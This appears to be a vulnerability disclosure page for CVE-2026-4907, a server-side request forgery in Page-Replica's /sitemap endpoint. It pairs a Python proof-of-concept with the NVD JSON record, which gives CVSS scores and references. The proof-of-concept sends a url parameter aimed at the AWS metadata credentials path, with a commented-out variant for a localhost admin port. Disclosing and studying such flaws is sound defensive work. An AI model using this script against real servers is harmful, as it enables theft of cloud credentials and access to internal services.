CVE-2026-4907

import requests # PoC for CVE-2026-4907: SSRF in Page-Replica Page Replica # Target the /sitemap endpoint with a malicious URL target = "http://target-domain.com/sitemap" # Example payload targeting internal metadata service (AWS) # Change the payload to target internal network resources based on environment malicious_url = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" # Example payload targeting localhost # malicious_url = "http://127.0.0.1:8080/admin" payload = { "url": malicious_url } try: print(f"Sending request to {target} with payload: {payload}") # Assuming the endpoint accepts POST requests based on typical fetch implementations response = requests.post(target, data=payload, timeout=10) if response.status_code == 200: print("[+] Request successful! Potential SSRF confirmed.") print("Response content:") print(response.text[:500]) # Print first 500 chars to avoid flooding console else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] An error occurred: {e}")

{"cve": {"id": "CVE-2026-4907", "sourceIdentifier": "[email protected]", "published": "2026-03-27T02:16:00.330", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was identified in Page-Replica Page Replica up to e4a7f52e75093ee318b4d5a9a9db6751050d2ad0. The impacted element is the function sitemap.fetch of the file /sitemap of the component Endpoint. The manipulation of the argument url leads to server-side request forgery. The attack is possible to be carried out remotely. The exploit is publicly available and might be used. This product adopts a rolling release strategy to maintain continuous delivery. Therefore, version details for affected or updated releases cannot be specified. The vendor was contacted early about this disclosure but did not respond in any way."}, {"lang": "es", "value": "Una vulnerabilidad fue identificada en Page-Replica Page Replica hasta e4a7f52e75093ee318b4d5a9a9db6751050d2ad0. El elemento impactado es la función sitemap.fetch del archivo /sitemap del componente Endpoint. La manipulación del argumento url conduce a falsificación de petición del lado del servidor. El ataque es posible de realizarse de forma remota. El exploit está disponible públicamente y podría ser utilizado. Este producto adopta una estrategia de lanzamiento continuo para mantener la entrega continua. Por lo tanto, los detalles de la versión para las versiones afectadas o actualizadas no pueden especificarse. El proveedor fue contactado con antelación sobre esta divulgación, pero no respondió de ninguna manera."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 6.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://github.com/lakshayyverma/CVE-Discovery/blob/main/page_replica.md", "source": "[email protected]"}, {"url": "https://vuldb.com/?ctiid.353658", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.353658", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.777447", "source": "[email protected]"}]}}